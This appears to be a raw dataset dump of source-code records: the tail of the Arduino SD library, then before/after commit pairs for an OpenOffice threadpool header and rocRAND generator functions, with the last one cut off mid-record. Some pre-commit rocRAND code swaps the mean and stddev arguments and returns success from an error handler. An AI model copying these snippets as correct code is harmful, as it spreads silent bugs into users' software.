next path segment\n  while (bufferOffset < MAX_COMPONENT_LEN\n\t && (path[offset] != '\/')\n\t && (path[offset] != '\\0')) {\n    buffer[bufferOffset++] = path[offset++];\n  }\n\n  buffer[bufferOffset] = '\\0';\n\n  \/\/ Skip trailing separator so we can determine if this\n  \/\/ is the last component in the path or not.\n  if (path[offset] == '\/') {\n    offset++;\n  }\n\n  *p_offset = offset;\n\n  return (path[offset] != '\\0');\n}\n\n\n\nboolean walkPath(char *filepath, SdFile& parentDir,\n\t\t boolean (*callback)(SdFile& parentDir,\n\t\t\t\t     char *filePathComponent,\n\t\t\t\t     boolean isLastComponent,\n\t\t\t\t     void *object),\n\t\t void *object = NULL) {\n  \/*\n     \n     When given a file path (and parent directory--normally root),\n     this function traverses the directories in the path and at each\n     level calls the supplied callback function while also providing\n     the supplied object for context if required.\n\n       e.g. given the path '\/foo\/bar\/baz'\n            the callback would be called at the equivalent of\n\t    '\/foo', '\/foo\/bar' and '\/foo\/bar\/baz'.\n\n     The implementation swaps between two different directory\/file\n     handles as it traverses the directories and does not use recursion\n     in an attempt to use memory efficiently.\n\n     If a callback wishes to stop the directory traversal it should\n     return false--in this case the function will stop the traversal,\n     tidy up and return false.\n\n     If a directory path doesn't exist at some point this function will\n     also return false and not subsequently call the callback.\n\n     If a directory path specified is complete, valid and the callback\n     did not indicate the traversal should be interrupted then this\n     function will return true.\n\n   *\/\n\n\n  SdFile subfile1;\n  SdFile subfile2;\n\n  char buffer[PATH_COMPONENT_BUFFER_LEN]; \n\n  unsigned int offset = 0;\n\n  SdFile *p_parent;\n  SdFile *p_child;\n\n  SdFile *p_tmp_sdfile;  \n  \n  p_child = &subfile1;\n  \n  p_parent = &parentDir;\n\n  while (true) {\n\n    boolean moreComponents = getNextPathComponent(filepath, &offset, buffer);\n\n    boolean shouldContinue = callback((*p_parent), buffer, !moreComponents, object);\n\n    if (!shouldContinue) {\n      \/\/ TODO: Don't repeat this code?\n      \/\/ If it's one we've created then we\n      \/\/ don't need the parent handle anymore.\n      if (p_parent != &parentDir) {\n        (*p_parent).close();\n      }\n      return false;\n    }\n    \n    if (!moreComponents) {\n      break;\n    }\n    \n    boolean exists = (*p_child).open(*p_parent, buffer, O_RDONLY);\n\n    \/\/ If it's one we've created then we\n    \/\/ don't need the parent handle anymore.\n    if (p_parent != &parentDir) {\n      (*p_parent).close();\n    }\n    \n    \/\/ Handle case when it doesn't exist and we can't continue...\n    if (exists) {\n      \/\/ We alternate between two file handles as we go down\n      \/\/ the path.\n      if (p_parent == &parentDir) {\n        p_parent = &subfile2;\n      }\n\n      p_tmp_sdfile = p_parent;\n      p_parent = p_child;\n      p_child = p_tmp_sdfile;\n    } else {\n      return false;\n    }\n  }\n  \n  if (p_parent != &parentDir) {\n    (*p_parent).close(); \/\/ TODO: Return\/ handle different?\n  }\n\n  return true;\n}\n\n\n\n\/*\n\n   The callbacks used to implement various functionality follow.\n\n   Each callback is supplied with a parent directory handle,\n   character string with the name of the current file path component,\n   a flag indicating if this component is the last in the path and\n   a pointer to an arbitrary object used for context.\n\n *\/\n\nboolean callback_pathExists(SdFile& parentDir, char *filePathComponent, \n\t\t\t    boolean isLastComponent, void *object) {\n  \/*\n\n    Callback used to determine if a file\/directory exists in parent\n    directory.\n\n    Returns true if file path exists.\n\n  *\/\n  SdFile child;\n\n  boolean exists = child.open(parentDir, filePathComponent, O_RDONLY);\n  \n  if (exists) {\n     child.close(); \n  }\n  \n  return exists;\n}\n\n\n\nboolean callback_makeDirPath(SdFile& parentDir, char *filePathComponent, \n\t\t\t     boolean isLastComponent, void *object) {\n  \/*\n\n    Callback used to create a directory in the parent directory if\n    it does not already exist.\n\n    Returns true if a directory was created or it already existed.\n\n  *\/\n  boolean result = false;\n  SdFile child;\n  \n  result = callback_pathExists(parentDir, filePathComponent, isLastComponent, object);\n  if (!result) {\n    result = child.makeDir(parentDir, filePathComponent);\n  } \n  \n  return result;\n}\n\n\n  \/*\n\nboolean callback_openPath(SdFile& parentDir, char *filePathComponent, \n\t\t\t  boolean isLastComponent, void *object) {\n\n    Callback used to open a file specified by a filepath that may\n    specify one or more directories above it.\n\n    Expects the context object to be an instance of `SDClass` and\n    will use the `file` property of the instance to open the requested\n    file\/directory with the associated file open mode property.\n\n    Always returns true if the directory traversal hasn't reached the\n    bottom of the directory heirarchy.\n\n    Returns false once the file has been opened--to prevent the traversal\n    from descending further. (This may be unnecessary.)\n\n  if (isLastComponent) {\n    SDClass *p_SD = static_cast<SDClass*>(object);\n    p_SD->file.open(parentDir, filePathComponent, p_SD->fileOpenMode);\n    if (p_SD->fileOpenMode == FILE_WRITE) {\n      p_SD->file.seekSet(p_SD->file.fileSize());\n    }\n    \/\/ TODO: Return file open result?\n    return false;\n  }\n  return true;\n}\n  *\/\n\n\n\nboolean callback_remove(SdFile& parentDir, char *filePathComponent, \n\t\t\tboolean isLastComponent, void *object) {\n  if (isLastComponent) {\n    return SdFile::remove(parentDir, filePathComponent);\n  }\n  return true;\n}\n\nboolean callback_rmdir(SdFile& parentDir, char *filePathComponent, \n\t\t\tboolean isLastComponent, void *object) {\n  if (isLastComponent) {\n    SdFile f;\n    if (!f.open(parentDir, filePathComponent, O_READ)) return false;\n    return f.rmDir();\n  }\n  return true;\n}\n\n\n\n\/* Implementation of class used to create `SDCard` object. *\/\n\n\n\nboolean SDClass::begin(uint8_t csPin) {\n  \/*\n\n    Performs the initialisation required by the sdfatlib library.\n\n    Return true if initialization succeeds, false otherwise.\n\n   *\/\n  return card.init(SPI_HALF_SPEED, csPin) &&\n         volume.init(card) &&\n         root.openRoot(volume);\n}\n\n\n\n\/\/ this little helper is used to traverse paths\nSdFile SDClass::getParentDir(const char *filepath, int *index) {\n  \/\/ get parent directory\n  SdFile d1 = root; \/\/ start with the mostparent, root!\n  SdFile d2;\n\n  \/\/ we'll use the pointers to swap between the two objects\n  SdFile *parent = &d1;\n  SdFile *subdir = &d2;\n  \n  const char *origpath = filepath;\n\n  while (strchr(filepath, '\/')) {\n\n    \/\/ get rid of leading \/'s\n    if (filepath[0] == '\/') {\n      filepath++;\n      continue;\n    }\n    \n    if (! strchr(filepath, '\/')) {\n      \/\/ it was in the root directory, so leave now\n      break;\n    }\n\n    \/\/ extract just the name of the next subdirectory\n    uint8_t idx = strchr(filepath, '\/') - filepath;\n    if (idx > 12)\n      idx = 12;    \/\/ dont let them specify long names\n    char subdirname[13];\n    strncpy(subdirname, filepath, idx);\n    subdirname[idx] = 0;\n\n    \/\/ close the subdir (we reuse them) if open\n    subdir->close();\n    if (! subdir->open(parent, subdirname, O_READ)) {\n      \/\/ failed to open one of the subdirectories\n      return SdFile();\n    }\n    \/\/ move forward to the next subdirectory\n    filepath += idx;\n\n    \/\/ we reuse the objects, close it.\n    parent->close();\n\n    \/\/ swap the pointers\n    SdFile *t = parent;\n    parent = subdir;\n    subdir = t;\n  }\n\n  *index = (int)(filepath - origpath);\n  \/\/ parent is now the parent diretory of the file!\n  return *parent;\n}\n\n\nFile SDClass::open(const char *filepath, uint8_t mode) {\n  \/*\n\n     Open the supplied file path for reading or writing.\n\n     The file content can be accessed via the `file` property of\n     the `SDClass` object--this property is currently\n     a standard `SdFile` object from `sdfatlib`.\n\n     Defaults to read only.\n\n     If `write` is true, default action (when `append` is true) is to\n     append data to the end of the file.\n\n     If `append` is false then the file will be truncated first.\n\n     If the file does not exist and it is opened for writing the file\n     will be created.\n\n     An attempt to open a file for reading that does not exist is an\n     error.\n\n   *\/\n\n  int pathidx;\n\n  \/\/ do the interative search\n  SdFile parentdir = getParentDir(filepath, &pathidx);\n  \/\/ no more subdirs!\n\n  filepath += pathidx;\n\n  if (! filepath[0]) {\n    \/\/ it was the directory itself!\n    return File(parentdir, \"\/\");\n  }\n\n  \/\/ Open the file itself\n  SdFile file;\n\n  \/\/ failed to open a subdir!\n  if (!parentdir.isOpen())\n    return File();\n\n  \/\/ there is a special case for the Root directory since its a static dir\n  if (parentdir.isRoot()) {\n    if ( ! file.open(root, filepath, mode)) {\n      \/\/ failed to open the file :(\n      return File();\n    }\n    \/\/ dont close the root!\n  } else {\n    if ( ! file.open(parentdir, filepath, mode)) {\n      return File();\n    }\n    \/\/ close the parent\n    parentdir.close();\n  }\n\n  if (mode & (O_APPEND | O_WRITE)) \n    file.seekSet(file.fileSize());\n  return File(file, filepath);\n}\n\n\n\/*\nFile SDClass::open(char *filepath, uint8_t mode) {\n  \/\/\n\n     Open the supplied file path for reading or writing.\n\n     The file content can be accessed via the `file` property of\n     the `SDClass` object--this property is currently\n     a standard `SdFile` object from `sdfatlib`.\n\n     Defaults to read only.\n\n     If `write` is true, default action (when `append` is true) is to\n     append data to the end of the file.\n\n     If `append` is false then the file will be truncated first.\n\n     If the file does not exist and it is opened for writing the file\n     will be created.\n\n     An attempt to open a file for reading that does not exist is an\n     error.\n\n   \/\/\n\n  \/\/ TODO: Allow for read&write? (Possibly not, as it requires seek.)\n\n  fileOpenMode = mode;\n  walkPath(filepath, root, callback_openPath, this);\n\n  return File();\n\n}\n*\/\n\n\n\/\/boolean SDClass::close() {\n\/\/  \/*\n\/\/\n\/\/    Closes the file opened by the `open` method.\n\/\/\n\/\/   *\/\n\/\/  file.close();\n\/\/}\n\n\nboolean SDClass::exists(char *filepath) {\n  \/*\n\n     Returns true if the supplied file path exists.\n\n   *\/\n  return walkPath(filepath, root, callback_pathExists);\n}\n\n\n\/\/boolean SDClass::exists(char *filepath, SdFile& parentDir) {\n\/\/  \/*\n\/\/\n\/\/     Returns true if the supplied file path rooted at `parentDir`\n\/\/     exists.\n\/\/\n\/\/   *\/\n\/\/  return walkPath(filepath, parentDir, callback_pathExists);\n\/\/}\n\n\nboolean SDClass::mkdir(char *filepath) {\n  \/*\n  \n    Makes a single directory or a heirarchy of directories.\n\n    A rough equivalent to `mkdir -p`.\n  \n   *\/\n  return walkPath(filepath, root, callback_makeDirPath);\n}\n\nboolean SDClass::rmdir(char *filepath) {\n  \/*\n  \n    Remove a single directory or a heirarchy of directories.\n\n    A rough equivalent to `rm -rf`.\n  \n   *\/\n  return walkPath(filepath, root, callback_rmdir);\n}\n\nboolean SDClass::remove(char *filepath) {\n  return walkPath(filepath, root, callback_remove);\n}\n\n\n\/\/ allows you to recurse into a directory\nFile File::openNextFile(uint8_t mode) {\n  dir_t p;\n\n  \/\/Serial.print(\"\\t\\treading dir...\");\n  while (_file->readDir(&p) > 0) {\n\n    \/\/ done if past last used entry\n    if (p.name[0] == DIR_NAME_FREE) {\n      \/\/Serial.println(\"end\");\n      return File();\n    }\n\n    \/\/ skip deleted entry and entries for . and  ..\n    if (p.name[0] == DIR_NAME_DELETED || p.name[0] == '.') {\n      \/\/Serial.println(\"dots\");\n      continue;\n    }\n\n    \/\/ only list subdirectories and files\n    if (!DIR_IS_FILE_OR_SUBDIR(&p)) {\n      \/\/Serial.println(\"notafile\");\n      continue;\n    }\n\n    \/\/ print file name with possible blank fill\n    SdFile f;\n    char name[13];\n    _file->dirName(p, name);\n    \/\/Serial.print(\"try to open file \");\n    \/\/Serial.println(name);\n\n    if (f.open(_file, name, mode)) {\n      \/\/Serial.println(\"OK!\");\n      return File(f, name);    \n    } else {\n      \/\/Serial.println(\"ugh\");\n      return File();\n    }\n  }\n\n  \/\/Serial.println(\"nothing\");\n  return File();\n}\n\nvoid File::rewindDirectory(void) {  \n  if (isDirectory())\n    _file->rewind();\n}\n\nSDClass SD;\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: threadpool.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 08:48:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include <hash_map>\n\n#include <osl\/conditn.h>\n\n#include <rtl\/byteseq.hxx>\n\n#include \"jobqueue.hxx\"\n\n\nusing namespace ::rtl;\nnamespace cppu_threadpool {\n    class ORequestThread;\n\n    struct EqualThreadId\n    {\n        sal_Int32 operator () ( const ::rtl::ByteSequence &a , const ::rtl::ByteSequence &b ) const\n            {\n                return a == b;\n            }\n    };\n\n    struct HashThreadId\n    {\n        sal_Int32 operator () ( const ::rtl::ByteSequence &a  )  const\n            {\n                if( a.getLength() >= 4 )\n                {\n                    return *(sal_Int32 *)a.getConstArray();\n                }\n                return 0;\n            }\n    };\n\n    typedef ::std::hash_map\n    <\n        ByteSequence, \/\/ ThreadID\n        ::std::pair < JobQueue * , JobQueue * >,\n        HashThreadId,\n        EqualThreadId\n    > ThreadIdHashMap;\n\n    typedef ::std::list < sal_Int64 > DisposedCallerList;\n\n\n    struct WaitingThread\n    {\n        oslCondition condition;\n        ORequestThread *thread;\n    };\n\n    typedef ::std::list < struct ::cppu_threadpool::WaitingThread * > WaitingThreadList;\n\n    class DisposedCallerAdmin\n    {\n    public:\n        ~DisposedCallerAdmin();\n\n        static DisposedCallerAdmin *getInstance();\n\n        void dispose( sal_Int64 nDisposeId );\n        void stopDisposing( sal_Int64 nDisposeId );\n        sal_Bool isDisposed( sal_Int64 nDisposeId );\n\n    private:\n        ::osl::Mutex m_mutex;\n        DisposedCallerList m_lst;\n    };\n\n    class ThreadPool\n    {\n    public:\n        ~ThreadPool();\n        static ThreadPool *getInstance();\n\n        void dispose( sal_Int64 nDisposeId );\n        void stopDisposing( sal_Int64 nDisposeId );\n\n        void addJob( const ByteSequence &aThreadId,\n                     sal_Bool bAsynchron,\n                     void *pThreadSpecificData,\n                     void ( SAL_CALL * doRequest ) ( void * ) );\n\n        void prepare( const ByteSequence &aThreadId );\n        void * enter( const ByteSequence &aThreadId, sal_Int64 nDisposeId );\n\n        \/********\n         * @return true, if queue could be succesfully revoked.\n         ********\/\n        sal_Bool revokeQueue( const ByteSequence & aThreadId , sal_Bool bAsynchron );\n\n        void waitInPool( ORequestThread *pThread );\n    private:\n        void createThread( JobQueue *pQueue, const ByteSequence &aThreadId, sal_Bool bAsynchron);\n\n\n        ThreadIdHashMap m_mapQueue;\n        ::osl::Mutex m_mutex;\n\n        ::osl::Mutex m_mutexWaitingThreadList;\n        WaitingThreadList m_lstThreads;\n    };\n\n} \/\/ end namespace cppu_threadpool\n<commit_msg>INTEGRATION: CWS sb49 (1.2.38); FILE MERGED 2006\/03\/22 10:14:07 sb 1.2.38.1: #i63397# Keep objects alive long enough so that threads still running while atexit handlers are processed do not access dead objects.<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: threadpool.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: hr $ $Date: 2006-04-19 13:49:44 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include <hash_map>\n\n#include <osl\/conditn.h>\n\n#include <rtl\/byteseq.hxx>\n\n#include \"rtl\/ref.hxx\"\n#include \"salhelper\/simplereferenceobject.hxx\"\n\n#include \"jobqueue.hxx\"\n\n\nusing namespace ::rtl;\nnamespace cppu_threadpool {\n    class ORequestThread;\n\n    struct EqualThreadId\n    {\n        sal_Int32 operator () ( const ::rtl::ByteSequence &a , const ::rtl::ByteSequence &b ) const\n            {\n                return a == b;\n            }\n    };\n\n    struct HashThreadId\n    {\n        sal_Int32 operator () ( const ::rtl::ByteSequence &a  )  const\n            {\n                if( a.getLength() >= 4 )\n                {\n                    return *(sal_Int32 *)a.getConstArray();\n                }\n                return 0;\n            }\n    };\n\n    typedef ::std::hash_map\n    <\n        ByteSequence, \/\/ ThreadID\n        ::std::pair < JobQueue * , JobQueue * >,\n        HashThreadId,\n        EqualThreadId\n    > ThreadIdHashMap;\n\n    typedef ::std::list < sal_Int64 > DisposedCallerList;\n\n\n    struct WaitingThread\n    {\n        oslCondition condition;\n        ORequestThread *thread;\n    };\n\n    typedef ::std::list < struct ::cppu_threadpool::WaitingThread * > WaitingThreadList;\n\n    class DisposedCallerAdmin\n    {\n    public:\n        ~DisposedCallerAdmin();\n\n        void dispose( sal_Int64 nDisposeId );\n        void stopDisposing( sal_Int64 nDisposeId );\n        sal_Bool isDisposed( sal_Int64 nDisposeId );\n\n    private:\n        ::osl::Mutex m_mutex;\n        DisposedCallerList m_lst;\n    };\n\n    class ThreadPool: public salhelper::SimpleReferenceObject\n    {\n    public:\n        ThreadPool();\n\n        void dispose( sal_Int64 nDisposeId );\n        void stopDisposing( sal_Int64 nDisposeId );\n\n        void addJob( const ByteSequence &aThreadId,\n                     sal_Bool bAsynchron,\n                     void *pThreadSpecificData,\n                     void ( SAL_CALL * doRequest ) ( void * ) );\n\n        void prepare( const ByteSequence &aThreadId );\n        void * enter( const ByteSequence &aThreadId, sal_Int64 nDisposeId );\n\n        \/********\n         * @return true, if queue could be succesfully revoked.\n         ********\/\n        sal_Bool revokeQueue( const ByteSequence & aThreadId , sal_Bool bAsynchron );\n\n        void waitInPool( ORequestThread *pThread );\n\n        DisposedCallerAdmin m_disposedCallerAdmin;\n\n    private:\n        ~ThreadPool();\n        void createThread( JobQueue *pQueue, const ByteSequence &aThreadId, sal_Bool bAsynchron);\n\n\n        ThreadIdHashMap m_mapQueue;\n        ::osl::Mutex m_mutex;\n\n        ::osl::Mutex m_mutexWaitingThreadList;\n        WaitingThreadList m_lstThreads;\n    };\n\n} \/\/ end namespace cppu_threadpool\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2017 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include <hip\/hip_runtime.h>\n\n#include \"rng\/generators.hpp\"\n\n#include <rocrand.h>\n#include <new>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nrocrand_status ROCRANDAPI\nrocrand_create_generator(rocrand_generator * generator, rocrand_rng_type rng_type)\n{\n    try\n    {\n        if(rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n        {\n            *generator = new rocrand_philox4x32_10();\n        }\n        else if(rng_type == ROCRAND_RNG_PSEUDO_XORWOW)\n        {\n            *generator = new rocrand_generator_type<ROCRAND_RNG_PSEUDO_XORWOW>();\n        }\n        else if(rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n        {\n            *generator = new rocrand_mrg32k3a();\n        }\n        else\n        {\n            return ROCRAND_STATUS_TYPE_ERROR;\n        }\n    }\n    catch(const std::bad_alloc& e)\n    {\n        return ROCRAND_STATUS_INTERNAL_ERROR;\n    }\n    catch(rocrand_status status)\n    {\n        return ROCRAND_STATUS_SUCCESS;\n    }\n    return ROCRAND_STATUS_SUCCESS;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_destroy_generator(rocrand_generator generator)\n{\n    try\n    {\n        delete(generator);\n    }\n    catch(rocrand_status status)\n    {\n        return status;\n    }\n    return ROCRAND_STATUS_SUCCESS;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate(rocrand_generator generator,\n                 unsigned int * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate(output_data, n);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_uniform(rocrand_generator generator,\n                         float * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_uniform(output_data, n);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_uniform(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_uniform_double(rocrand_generator generator,\n                                double * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_uniform(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_normal(rocrand_generator generator,\n                        float * output_data, size_t n,\n                        float mean, float stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_normal(output_data, n,\n                                                        stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_normal_double(rocrand_generator generator,\n                 double * output_data, size_t n,\n                 double mean, double stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_normal(output_data, n,\n                                                        stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_log_normal(rocrand_generator generator,\n                            float * output_data, size_t n,\n                            float mean, float stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_log_normal(output_data, n,\n                                                            stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_log_normal_double(rocrand_generator generator,\n                                   double * output_data, size_t n,\n                                   double mean, double stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_log_normal(output_data, n,\n                                                            stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_poisson(rocrand_generator generator,\n                         unsigned int * output_data, size_t n,\n                         double lambda)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n    if (lambda <= 0.0)\n    {\n        return ROCRAND_STATUS_OUT_OF_RANGE;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_poisson(output_data, n,\n                                                         lambda);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_set_stream(rocrand_generator generator, hipStream_t stream)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        static_cast<rocrand_philox4x32_10 *>(generator)->set_stream(stream);\n        return ROCRAND_STATUS_SUCCESS;\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_get_version(int * version)\n{\n    if(version == NULL)\n    {\n        return ROCRAND_STATUS_OUT_OF_RANGE;\n    }\n\n    *version = ROCRAND_VERSION;\n    return ROCRAND_STATUS_SUCCESS;\n}\n\n#if defined(__cplusplus)\n}\n#endif \/* __cplusplus *\/\n<commit_msg>Updated host functions with mrg32k3a functions<commit_after>\/\/ Copyright (c) 2017 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include <hip\/hip_runtime.h>\n\n#include \"rng\/generators.hpp\"\n\n#include <rocrand.h>\n#include <new>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nrocrand_status ROCRANDAPI\nrocrand_create_generator(rocrand_generator * generator, rocrand_rng_type rng_type)\n{\n    try\n    {\n        if(rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n        {\n            *generator = new rocrand_philox4x32_10();\n        }\n        else if(rng_type == ROCRAND_RNG_PSEUDO_XORWOW)\n        {\n            *generator = new rocrand_generator_type<ROCRAND_RNG_PSEUDO_XORWOW>();\n        }\n        else if(rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n        {\n            *generator = new rocrand_mrg32k3a();\n        }\n        else\n        {\n            return ROCRAND_STATUS_TYPE_ERROR;\n        